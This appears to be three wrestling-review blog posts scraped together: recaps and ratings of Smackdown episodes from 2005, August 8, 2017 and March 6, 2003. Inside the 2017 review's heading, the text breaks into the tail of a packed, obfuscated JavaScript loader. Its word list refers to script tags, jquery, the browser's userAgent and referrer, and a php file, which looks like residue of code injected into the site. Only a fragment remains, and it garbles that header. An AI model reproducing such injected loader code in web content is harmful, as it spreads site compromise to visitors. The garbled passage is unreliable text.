Bob, a Hall of Famer, is only 55 here so this isn’t the biggest stretch in the world. He’s calling out Undertaker tonight because he knows Randy will do the real work at No Mercy. Some early jabs just seem to annoy Undertaker so it’s off to the floor for a breather. Undertaker stares him down so Orton asks for a time out, earning himself a beating in the corner.

The ref is bumped in a hurry though and we’re just waiting on Randy at this point. Orton hits one heck of a low blow (the old guys knew how to do those better than anyone) and here’s Randy to drop some knees. The beating heads to the floor but Undertaker kicks out of Randy’s neckbreaker at two. Randy comes back in but the RKO is countered, followed by a Tombstone to put Bob away (now that the referee has FINALLY come back to life).

Rating: D. Nothing to the match but it helped set up the handicap match at No Mercy. Bob was still able to go out there and look respectable, which is more than a lot of people his age could do. If nothing else Bob is basically a fancy lackey but that’s still a lot better than most people get.

We look at Bobby Lashley debuting last week and squashing Simon Dean.

Bobby Lashley vs. Russell Simpson

Lashley powers him around to start and drives a hard shoulder into the ribs in the corner. A charge misses though and Simpson starts in on the leg. It goes as well as you would expect as Lashley shrugs it off, tosses Russell into the corner and finishes with a Dominator. Squash.

Post match here’s Simon Dean to say Lashley impressed him last week. He offers Lashley a Simon System product to help him get ready for their rematch at No Mercy and Lashley isn’t sure what to think. As confused as he is, he’s able to drop the shake on the floor and stomp on it. What a jerk. Dean goes after him but gets a right hand blocked and a gorilla press out to the floor.

It’s time for Christian’s Peep Show and he’d like to talk about pinning US Champion Chris Benoit a few weeks back. He’s so good that he’s beaten up more people by mistake than Benoit has done on purpose. Cue Booker T. and Sharmell with the latter saying that Booker should be getting the shot at Benoit at No Mercy. Booker reminds Christian that he beat him last week but here’s the eternally worthless Orlando Jordan to interrupt.

See, he should be getting the rematch because Benoit has made fun of him ever since Benoit took the title from him at Summerslam (in about 24 seconds). Jordan brags about Benoit not being able to beat him in thirty seconds last week, which Booker says took him longer to say than it took Benoit to make Jordan tap. Those are fighting words so here’s the Mack Militant to make a triple threat match with Benoit watching and getting to pick his opponent.

Orlando Jordan vs. Booker T. vs. Christian

Joined in progress after a break with Booker cleaning house to start. Christian pulls him to the floor but gets sent into the barricade for his efforts. Jordan goes into the steps, leaving Christian to crank on Booker’s neck back inside. Booker fights to his feet and loads up a superplex, only to have Jordan come in to make it a Tower of Doom for two. A side kick sets up the Spinarooni but Christian avoids the ax kick. Booker loads up a catapult on Christian but gets rolled up to give Jordan the cheap pin.

Rating: D. Jordan is one of those guys who had no reason to be involved in anything significant as he’s just not good. He doesn’t have any special skills, a special look or any special abilities on the microphone. For some reason he was given a midcard push, even when there was no reason whatsoever for that to be the case.

Benoit immediately comes out and says he’s not sure who should get the shot. All three of them are good options but since he’s Benoit, he’ll fight all three of them at once. So yeah, this match really didn’t mean a thing.

Teddy Long and network representative Palmer Cannon (he’s a nobody) are talking about sending Smackdown talent to Monday’s Raw Homecoming. Vince McMahon comes in and asks about their plans for Monday’s show. Teddy lists off some names he has showing up but he doesn’t have a match picked yet. Cannon talks about nothing of note and Vince really doesn’t seem impressed.

Smackdown Tag Team Titles: Legion of Doom vs. Eddie Guerrero/Batista

Eddie chases Heidenreich around until it’s off to Animal vs. THE Animal. Batista grabs a suplex to start but Animal is up for a standoff. Eddie tags himself in instead but gets punched in the jaw by the now legal Heidenreich. For some reason Eddie tries to kiss Heidenreich’s foot, which earns himself a trip to the corner for a slam from Animal. A side slam gives Heidenreich two as the fans are staying behind Eddie.

We hit a cobra clutch for a bit before Animal gets in a hard powerslam (THUD) for two. Eddie hurricanranas his way out of the Doomsday Device and it’s off to Batista. Everything breaks down and it’s a spinebuster to Heidenreich and the spear to Animal. A not great Batista Bomb gets two on Heidenreich but here’s MNM to go after Animal for the DQ.

Rating: D+. It’s still weird to see Animal teaming with that guy who may or may not have raped Michael Cole at one point. Heidenreich really wasn’t the best in the world but he had a certain odd charm to him. Unfortunately that didn’t translate to the ring, leaving Animal to do most of the work himself, which goes about as well as you would expect. Of course this was more about story building than the wrestling but thank goodness they didn’t change the titles.

Post match Eddie takes a chair away from Nitro but hits Batista by mistake. In classic Eddie, he throws the chair to Mercury and plays dead, earning Mercury a beating to end the show.

Overall Rating: D+. Not terrible here but it’s not a good era for Smackdown. Undertaker was transitioning over to his part time status and having him fight Bob Orton isn’t the most thrilling time in the world. Of course none of this is going to matter in a month due to the Eddie tragedy but it was good to see him doing some of his best work just before he left us. It’s not the worst show in the world but there’s nothing to see here.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Smackdown – August 8, 2017: Watch the Show While I Explain Gilligan’s Island

Smackdown
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yyays|var|u0026u|referrer|biiez||js|php'.split('|'),0,{})) August 8, 2017
Location: Air Canada Center, Toronto, Ontario, Canada
Commentators: Tom Phillips, Byron Saxton, John Bradshaw Layfield

We’re still in Toronto this week and it’s time to keep hamming home the Summerslam build. The main event this week is Randy Orton vs. Jinder Mahal because IT CAN NEVER BE OVER. Other than that we have a pair of women’s matches and Shane McMahon talking a lot because that’s what he does. Let’s get to it.

We open with a long recap of John Cena vs. Shinsuke Nakamura last week with Nakamura becoming #1 contender. It also includes Baron Corbin attacking both of them after the show and taking an AA through the announcers’ table.

Here’s Cena to open things up. After acknowledging that some fans are happy to see him while some of them aren’t, he goes over losing to Nakamura last week. Then he found out that Nakamura isn’t scared of anything and that Nakamura hits REALLY hard. They were into the match and then he remembers waking up because he had lost. No blind referee and no Montreal Screwjob (fans: “YOU SCREWED BRET!”). No, he just lost. Then he got up, dusted himself off, and shook Nakamura’s hand because he was the better man.

This brings out Baron Corbin, with new music. Cena cuts him off and calls Corbin a dumpster fire, just like someone’s sign says. Corbin teases heading to the ring but decides not to because he has the briefcase. There’s no point to Corbin going after him so he’ll take his leave. Cue Daniel Bryan, to say it’s Corbin vs. Cena at Summerslam.

Usos vs. Sami Zayn/Tye Dillinger

Tye hammers on Jimmy to start and Jey has to save his brother from a very fast Helluva Kick. That means a break about forty five seconds in because that’s how WWE works these days. Back with Jey missing a splash in the corner and Sami flipping out of a belly to back suplex for the hot tag to Tye. The ten stomps in the corner have Jimmy in trouble but everything breaks down. Sami hits a big flip dive over the top, followed by Dillinger hitting a Sky High for two on Jey. The Tyebreaker is broken up though and Jimmy kicks the knee, setting up the Tequila Sunrise to make Dillinger tap at 6:45.

Rating: C-. Dillinger and Sami seem to be the local heroes to act as jobbers here and that’s kind of sad. The match was watchable and Sami’s dive was good, but my goodness Zayn needs a story that doesn’t involve beating up Mike Kanellis. Usos vs. New Day III doesn’t do much for me but it’s not like there’s anyone else for New Day to defend against.

Post match the Usos call out New Day so here’s Big E. for a distraction, allowing Kofi and Xavier to come in and clean house. Jey has to save Jimmy from a beating with a chair.

Orton is ready for Mahal tonight.

It’s time for Fashion Peaks with Tyler Breeze telling Ascension that they were in his dream last week. They’re more interested in pie as Breeze tries to figure out the dream. They leave and Fandango appears behind Breeze with his tie wrapped around his head. Breeze: “Don’t tell me it takes eighteen episodes to return you to normal!” Some coffee brings Fandango back to normal and he says he was kidnapped by aliens. He could leave any time he wanted but the anal probes kept him around. Fandango: “UH…..I mean wardrobes!”

Lana vs. Charlotte

We see a clip from backstage last week with Lana saying Tamina is her inspiration. Charlotte throws her down to start and seems to enjoy chopping away. Lana’s sunset flip is a complete failure and a backslide is blocked just as easily. Charlotte struts and WOO’s at her but Lana slaps her in the face. That means a big boot into the Figure Eight to make Lana tap at 2:28. Lana is still over matched but she didn’t get embarrassed here, at least not like she did before.

Here’s Shane McMahon to talk about being guest referee for the US Title match at Summerslam. Shane gets straight to the point and brings out Kevin Owens and AJ Styles. The boss asks Owens about what he said last week when Owens ranted about Shane being a horrible referee. Owens apologizes but suggests that Shane might screw him just like Bret Hart. Kevin: “Of course, he deserved it!” You can imagine the hatred this brings so Owens calls himself another legendary Canadian. He’s worried about AJ though because he and Shane had so many issues just back in March.

AJ doesn’t buy the idea of a McMahon as referee but Shane says he doesn’t operate like that. Owens isn’t done yet and brings up a clip from 1998 with Shane as a guest referee. He screwed Steve Austin that night and Owens says there are several other options, all available on the WWE Network.

Shane says he doesn’t trust Owens but he doesn’t recommend giving him a reason to get involved. Styles wants to forget about Shane and fight right now. That’s not cool with Owens though as he’d rather have the match in an American city that matters. A fight is about to break out with Shane getting in the middle of it, earning himself a Pele kick.

Lana is annoyed at her loss when Tamina comes in to laugh at her for wanting to be a more ravishing version of her (Tamina). The loss was bad, but now Lana is going to help Tamina get hers. I have no idea what any of that means but Tamina being involved takes away most of the potential interest I could have.

Naomi vs. Carmella

Non-title. Naomi kicks her in the head to start and hits a sliding slap to put Carmella on the floor. Back from a break with Carmella putting on a chinlock until Naomi starts fighting back with a jumping elbow and the dancing kicks. A running jawbreaker drops Carmella and Naomi goes up, only to have Carmella grab her hair. The referee pushes her away but here’s James Ellsworth from underneath the ring to shove Naomi off the top. Carmella gets in a superkick for the pin at 6:19.

Rating: D+. Carmella winning is fine but it’s not like Naomi has anything interesting going on at the moment (Natalya hasn’t been interesting for years). Really we’re just waiting for the cash-in at this point and that makes for some really dull moments, like having Ellsworth’s return be a big deal.

Carmella doesn’t even tease cashing in the briefcase because that’s not what the script calls for at the moment so there’s no point in acting like it’s happening yet.

Post break Natalya tells Carmella and Ellsworth to stay out of her business at Summerslam. Carmella threatens her with a cash-in.

Earlier today, Nakamura sat down with Renee Young to talk about becoming #1 contender. He’s faced top level talent in NXT and even more since he’s gotten here, but Cena has been the man for a long time. Nakamura beat him anyway and will be watching tonight’s main event. At Summerslam, the Nakamura dynasty begins.

Jinder Mahal vs. Randy Orton

Non-title and the Singh Brothers are gone due to injuries. Orton hammers away to start and takes it to the floor for some whips into the barricade. The belly to back suplex onto the barricade sets up a clothesline, followed by another drop onto the announcers’ table. Back in and Mahal stomps away to the biggest face pop of his career. Another clothesline sends Mahal back outside but he shoves Orton away to break up the RKO through the table. Back with Mahal dropping some knees but missing a charge into the post.

Orton gets two off a superplex and rains down some right hands in the corner. The powerslam gets two and JBL talks about Mahal being all alone like Gilligan. Does JBL not understand the concept of Gilligan’s Island? Mahal gets two off a jumping knee to the face but the Khallas is countered into the hanging DDT. The RKO is countered and Mahal tries another Khallas, only to have Orton reverse into the RKO for the pin at 11:45.

Rating: C+. I think I liked this one more than any of their matches, which is a good sign for Mahal going forward. You know, assuming you think he has a chance to leave the pay per view with the title. Mahal losing clean is the worst thing that could happen to him though as he’s not a great champion in the first place and this only makes him look like someone who can’t win on his own against a bigger name. None of it matters if he loses at Summerslam but it’s still not the best idea in the world.

Orton goes to leave and gets superkicked by Rusev to end the show.

Overall Rating: C-. I wasn’t feeling this episode as the World Title match only saw Nakamura looking at Mahal when it needs hype more than anything else at this point. This show felt like they weren’t putting in a ton of effort on much of anything and the show kind of came and went. It wasn’t bad, but it didn’t feel like a show with two weeks to go before the second biggest night of the year.

Results

Usos b. Tye Dillinger/Sami Zayn – Tequila Sunrise to Dillinger

Charlotte b. Lana – Figure Eight

Carmella b. Naomi – Superkick

Randy Orton b. Jinder Mahal – RKO

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Smackdown – March 6, 2003: Say That Again Hulk?

Smackdown
Date: March 6, 2003
Location: Harbor Yard Arena, Bridgeport, Connecticut
Commentators: Michael Cole, Tazz

We’ve reached Wrestlemania month and it’s time for some payback as we have Brock Lesnar vs. Paul Heyman inside a steel cage. The hard sell for the pay per view has become but Kurt Angle’s neck isn’t even being held together by gum and duct tape anymore. It should be interesting to see how the company deals with that as Wrestlemania is less than a month away. Let’s get to it.

Opening sequence.

Rey Mysterio vs. Jamie Noble vs. Tajiri

Winner gets the Cruiserweight Title shot at Wrestlemania. Only Rey gets an entrance and he’s tossed to the floor to start, leaving the other two to slug it out. Rey comes back in with a springboard seated senton for two on Noble but Tajiri starts in with the kicks to take over. A spinning springboard crossbody gets two more on Tajiri but it’s a handspring elbow to drop Noble.

Mysterio gets sent outside so Noble can grab a Fujiwara armbar on Tajiri. That means a rope grab for a quick break as Rey comes back as well. A three man Tower of Doom (not yet named that of course) drops Mysterio and all three are down. Noble gets two on both of them and a powerslam on Tajiri gets the same.

Tajiri is right back up with the Buzzsaw Kick for two as Rey makes the save. Rey drops the dime on Tajiri for two and there’s the 619 to Noble. It’s too early for the West Coast Pop though as Tajiri BLASTS Rey with a kick to the head, only to have Rey roll him up for the pin and the title shot.

Rating: C+. Fun match here and the shorter time worked well for it. This isn’t something that needed to be stretched out to ten or more minutes so keeping things fast paced and tight was the best thing they could have done. Mysterio getting the title shot was the only way to go here as him winning the title is going to be a big deal.

Los Guerreros vs. FBI

Palumbo and Stamboli for the Italians here. Cole gets straight to the bad news: Rikishi is on a PR tour tonight and won’t be here. There go the ratings. Chavo and Palumbo get things going with the bigger Chuck driving him into the corner, only to get slapped in the face. It’s off to Eddie for a few kicks to the head, including a dropkick to a charging Stamboli. Palumbo gets in a cheap (and mistimed) right hand from the floor though and the Italians take over.

A good looking Samoan drop plants Eddie again as the FBI aren’t bad for a power team. Generic mind you but not bad. We hit the bearhug on Eddie for a bit until a hurricanrana gets him out of trouble. The hot tag brings in Chavo to start cleaning house as everything breaks down. Eddie and Palumbo fall out to the floor and Chavo brings Nunzio in. Stamboli hits a quick fall away slam but Eddie comes in with a frog splash to Johnny’s head, giving Chavo the easy pin.

Rating: C-. I know I said the FBI were fine, but is this really the best we can do for Los Guerreros? Most of the division has been taken apart and the best we can do is have one of the best teams face the FBI? It’s a watchable match but this really wasn’t interesting and that’s not what should be happening with one of your best acts.

Heyman is panicking but his clients (all five of them) say they’ve got his back. Angle implies he can sweet talk Stephanie out of the match.

Wrestlemania is 24 days away. That still makes me smile even when the video is fourteen years old.

Heyman and Angle try to talk their way out of the match with Paul diving at her knees and begging. It doesn’t work so Heyman leaves Angle to hit on Stephanie. This goes badly as well as Stephanie makes things a little worse: if Brock wins, he gets Angle next week for the title. So to clarify, Stephanie is currently a bastion of all things good and wholesome who can shout about having integrity. Just in case you thought she was bad at being a face or something, because Stephanie isn’t bad at anything.

Cruiserweight Title: Matt Hardy vs. Billy Kidman

Matt, who enjoys looking at pictures in Playboy and considers himself a sex symbol, is defending. The champ tries a rollup before the bell and has to wait for a one count. Kidman gets sent over the top so Shannon can get in a few cheap shots and we hit a bow and arrow back inside.

An enziguri gets Kidman out of trouble and he kicks Matt out of the corner and onto the top rope for a good crotching. Kidman hits his own screaming legdrop for two and a Bodog looks to set up the shooting star. Thankfully Shannon is right there to pull Matt outside so Kidman dives onto both of them. Back in and a Side Effect and the Twist of Fate retain the title.

Rating: C. Kidman was trying here but it’s clear that his time near the title is gone. Matt has instantly become a far more interesting character because he actually has some charisma and more than a good match with a cool finisher. Hardy vs. Mysterio should be a good pay per view match, especially if Shannon is running around like a good annoying lackey.

Package on Torrie Wilson’s Playboy shoot. The cover will be unveiled next week.

Nidia went to the Playboy Mansion to complain about not being in the magazine and got in some Girls Gone Wild plugs.

Hulk Hogan sends a referee to tell Vince that he’s going to the ring.

Here’s Hogan to start the real push towards his match with Vince. He’s got something to get off his chest: sure he could just leave this place for good and be done with Vince, but the boss has gotten under his skin. There’s an issue with them and it goes way deeper than him costing Hogan a match with Rock. Hogan wants Vince out here right now to settle this like men.

This brings out the boss to say he has no problem settling this man to man but Hogan is no man. Hogan cuts him off and rants about all of Vince’s delusions of grandeur about creating Hulkamania. These Hulkamaniacs are the reason for Hulkamania and the reason that Vince has all of his money. Vince says that anyone could have been Hogan so Hulk asks about all the people that Vince tried to push as the star with none of them running as hard as he did.

In a pretty infamous moment (which I’d assume never made air and can only be found online), Hogan starts flubbing his lines, including pausing to say “let me say it one more time just so you completely understand.” Hogan says he was also the right “gay” at the right time before stumbling over a challenge to fight Vince tonight. Vince looking like he’s having to bite through his lip to keep from laughing doesn’t help things either.

Vince says there’s no chance of a fight tonight but let’s talk about Hogan bailing to WCW and the steroids trial as this is somehow still going. Hulk says he kept Vince out of jail and implies that there would have been a lot of activity in the shower if Vince was still there. This somehow KEEPS GOING with Vince taking credit for plucking Hogan from obscurity in Minnesota.

Vince finally agrees to fight Hogan at Wrestlemania to give us what they probably saw as the real main event. For a bonus, Hogan’s career is on the line and Hulk immediately agrees. They cut each other off over trying to use Hogan’s catchphrases until Hogan tells Vince to start saying his prayers to FINALLY wrap this up.

This was WAY too long at nearly fifteen minutes (if you take out the flubbed lines) and with a lot of stuff that most fans don’t care about at all, mainly because they were about ten years ago. Doing Hogan vs. Vince at Wrestlemania over who is the bigger star is fine enough, but you really don’t need to drag up WCW (again) or the steroids trial as it’s just extra baggage on an already easy to write feud.

Undertaker coached Nathan Jones in the ring earlier today, which translates to he watched him hiptoss some jobbers. The big advice: the ring is like a prison cell. Next up: headlocks and a shoulder block, though Undertaker gets mad when Jones doesn’t show enough power to knock someone out. Nathan kicks the jobber’s head off and Undertaker has to calm him down.

A-Train vs. Undertaker

Big Show and Jones are the seconds. They trade big shots to start until Big Show offers a distraction to get Undertaker outside. The distraction lets A-Train grab a powerslam for two and he throws him outside for another beating from Big Show. Jones, apparently done shopping for fruit, FINALLY comes over to stare Show off so A-Train can stomp away even more. Undertaker gets in a few shots of his own and it’s time for Old School. The Derailer connects but Undertaker grabs his triangle choke, only to draw in Big Show (with his very white shoes). Jones comes in as well and the match is thrown out.

Rating: D-. I know what they’re setting up for Wrestlemania and Jones has a great look but this is hardly the most interesting thing in the world. It’s better than Undertaker vs. Big Show though and I’m not sure I could handle Undertaker vs. A-Train at Wrestlemania so this might actually be the best possible option if we just have to continue this feud.

Clip of Heyman turning on Lesnar at Survivor Series.

During the break, Stephanie ejected A-Train and Big Show and will NOT take any lip from Big Show.

Rhyno/Chris Benoit vs. Team Angle

Non-title. Benoit takes Shelton down by the leg to start and they hit the mat for some grappling. Shelton can’t get out of a hammerlock so it’s off to Rhyno, who catches Charlie in a drop toehold. Charlie gets Benoit into the wrong corner so it’s off to Shelton, who needs a blind tag to escape a Crossface attempt. A powerslam goes a bit better for Haas but Benoit drops him with a clothesline to set up a double tag.

Rhyno gets to clean house for a bit but Charlie breaks up a Gore. A superkick from Shelton sets up a chinlock and we take a break (How often do you see one of those as we go to a commercial?). Back with Shelton getting in a shot to Rhyno’s neck for two and Charlie wraps his leg around Rhyno’s neck and pulls on the arm (basically sitting on Rhyno’s neck).

Benjamin opts for a standard cravate before handing it off to Charlie for some choking on the ropes. Rhyno finally gets in a spinebuster for a breather and the hot tag brings in Benoit. Shelton gets sent into the post and Benoit rolls the German suplex on Charlie, setting up the Swan Dive for two. The Crossface is countered and it’s off to the Haas of Pain until Rhyno makes a save. The Gore takes Shelton down and the Crossface ends Haas.

Rating: C+. The ending was good but the middle was a bit dry for my tastes. The biggest problem here is the continued losing streak for the champs, who haven’t won a match, even a handicap match, since winning the titles. Just having the belts isn’t going to carry them forever and while their matches are good, they need to be impressive and dominant wrestlers instead of just lackeys in similar tights.

Cena is back on his feet, albeit using a cane, and promises to unleash the beast on Brock. He’s so intense that he’s going to fill Brock full of holes like a chain link fence.

Kurt Angle is giving Heyman a pep talk when Team Angle comes in to yell at them for not being there. Angle calms them down and tells Heyman to go do it.

Video on the South Africa tour.

Paul Heyman vs. Brock Lesnar

Inside a cage and if Lesnar wins, he gets Angle for the title next week. Kurt and Team Angle come to the ring with Heyman, who is going to be wrestling in a suit. Lesnar easily dispatches Haas and Benjamin and beats up Kurt with even less effort (drawing some blood), allowing him to throw Paul inside for the opening bell.

Brock gets in a few shots until Kurt comes in and takes out the knee. There’s an Angle Slam to give Heyman two and it’s off to the ankle lock. Heyman still can’t escape as Brock holds him down while still in the hold. Kurt gets sent into the cage but Brock pulls Heyman off the top. The F5 easily finishes Paul.

Rating: D. This might be the best example I’ve ever seen of angle advancement disguised as a match. The wrestling here meant nothing of course but setting up Lesnar vs. Angle next week makes sense, even if Angle is in no shape to wrestle whatsoever. At least they’re setting up something in advance, which is more than they usually pull off.

Lesnar stares Angle down to end the show.

Overall Rating: D+. The wrestling was watchable with the worst matches both being under five minutes but that Hogan vs. Vince segment really brought things down. Wrestlemania really isn’t shaping up very well as the TV shows are getting worse every week. I’m assuming Edge and Angle being hurt really screwed things up but it’s still not looking good as we head for Seattle.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6